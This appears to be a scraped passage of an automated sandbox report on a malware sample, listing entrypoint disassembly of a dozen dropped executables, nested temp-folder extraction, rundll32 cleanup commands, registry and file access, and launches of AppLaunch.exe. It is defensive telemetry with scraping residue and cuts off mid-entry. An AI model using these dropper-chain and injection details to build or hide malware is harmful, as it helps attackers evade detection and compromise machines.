entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "2NJ9351.exe" file has an entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "Yf6UX21.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1oh97OL0.exe" file has an entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "NS0zj81.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "NH5Ot82.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5og8kJ2.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "6Hy6xt9.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42cd34," "7Us0xM51.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418068,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x41806c], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418068], eax,call 0x405000,mov eax, 0x41707c,mov dword ptr [0x41808c], eax,call 0x40e4d0,call 0x40e23d,call 0x40b120,call 0x40a9a9," "3xL71Vc.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4],"3f:T6b0,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ZM6QY65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "ZM6QY65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ZM6QY65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Wt6LG75.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Wt6LG75.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Wt6LG75.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Yf6UX21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Yf6UX21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Yf6UX21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "NS0zj81.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "NS0zj81.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "NS0zj81.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "NH5Ot82.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "NH5Ot82.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "NH5Ot82.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1oh97OL0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")40:Tca7,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002480-00000C25-40564999] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00002480-00000C25-40633510] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00002480-00000BC1-40648899] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00003448-00000BC1-41109276] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00002608-00000BC1-41512635] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00000840-00000BC1-41898292] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00007408-00000BC1-42337787] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"" [Source: 00000000-00002592-00000BC1-42765394] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00004328-00000C25-43844726] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00004328-00000C25-44282499] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00004328-00000C25-44393326] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004328-00000C25-44477428] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00004328-00000C25-44586642] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00004328-00000C25-44638248] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004328-00000C25-44682115] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00004328-00000C25-44764953] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00004328-00000C25-44825543] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004328-00000C25-45262588]41:T7a7,"ZM6QY65.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\ZM6QY65.exe]- [targetUID: 00000000-00003448] "Wt6LG75.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Wt6LG75.exe]- [targetUID: 00000000-00003448] "4Sq071Or.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Sq071Or.exe]- [targetUID: 00000000-00000840] "2NJ9351.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2NJ9351.exe]- [targetUID: 00000000-00006492] "Yf6UX21.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Yf6UX21.exe]- [targetUID: 00000000-00000840] "1oh97OL0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1oh97OL0.exe]- [targetUID: 00000000-00002592] "NS0zj81.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\NS0zj81.exe]- [targetUID: 00000000-00000840] "NH5Ot82.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\NH5Ot82.exe]- [targetUID: 00000000-00007408] "5og8kJ2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5og8kJ2.exe]- [targetUID: 00000000-00002608] "6Hy6xt9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Hy6xt9.exe]- [targetUID: 00000000-00003448] "7Us0xM51.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7Us0xM51.exe]- [targetUID: 00000000-00002480] "3xL71Vc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3xL71Vc.exe]- [targetUID: 00000000-00007408] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00004328]42:T516,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")43:T67c,"file.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.exe" (UID: 2480) "ZM6QY65.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Wt6LG75.exe" (UID: 3448) "Wt6LG75.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Yf6UX21.exe" (UID: 2608) "Yf6UX21.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\NS0zj81.exe" (UID: 840) "NS0zj81.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\NH5Ot82.exe" (UID: 7408) "NS0zj81.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3xL71Vc.exe" (UID: 7408) "NH5Ot82.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1oh97OL0.exe" (UID: 2592) "NH5Ot82.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2NJ9351.exe" (UID: 2592) "1oh97OL0.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6488) "AppLaunch.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 4328) "AppLaunch.exe" queries basic process information of the "C:\Windows\System32\winlogon.exe" (UID: 4328) "AppLaunch.exe" queries basic process information of the "C:\Windows\servicing\TrustedInstaller.exe" (UID: 4328) "2NJ9351.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6492)44:Ta29,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "FILE.EXE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")45:Tb71,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.EXE" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.exe" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7US0XM51.EXE" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7Us0xM51.exe" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WT6LG75.EXE" "ZM6QY65.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Wt6LG75.exe" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6HY6XT9.EXE" "ZM6QY65.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Hy6xt9.exe" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\YF6UX21.EXE" "Wt6LG75.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Yf6UX21.exe" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5OG8KJ2.EXE" "Wt6LG75.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5og8kJ2.exe" "Yf6UX21.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"46:T8a6,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.LOCAL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.EXE.LOCAL" "ZM6QY65.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "ZM6QY65.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WT6LG75.EXE.LOCAL" "Wt6LG75.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "Wt6LG75.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "Yf6UX21.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\YF6UX21.EXE.LOCAL" "Yf6UX21.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "Yf6UX21.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "NS0zj81.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\NS0ZJ81.EXE.LOCAL" "NS0zj81.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "NS0zj81.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "NH5Ot82.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\NH5OT82.EXE.LOCAL" "NH5Ot82.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "NH5Ot82.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL"47:T929,"NH5Ot82.exe" called "FindFirstFileA" with parameter %TEMP%\IXP005.TMP\* (UID: 00000000-00002592) "NH5Ot82.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002592) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00004328) "AppLaunch.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004328)48:T54c,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; 